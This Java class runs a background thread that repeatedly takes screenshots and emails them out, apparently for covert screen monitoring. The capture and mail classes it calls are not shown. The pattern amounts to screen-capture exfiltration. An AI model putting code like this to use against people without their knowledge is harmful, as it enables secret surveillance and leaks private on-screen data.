package cn.juforg.main;

import cn.juforg.constant.Constants;
import cn.juforg.mail.MailSender;
import cn.juforg.screen.ScreenCapt;

public class CaptAndSend {
	
	public static void startLook(){
		(new Thread(runnable)).start();
	}
	
	private static final Runnable runnable = new Runnable(){
		int i = 1;
		public void run(){
			do {
				ScreenCapt.snapShot();
				try {
					Thread.sleep(Constants.MILLIS);
				MailSender ms = new MailSender();
				ms.send();
				Thread.sleep(Constants.MILLIS);
				} catch (InterruptedException e) {
					e.printStackTrace();
				}
				i++;
			} while (i<100);
		}
	};
}
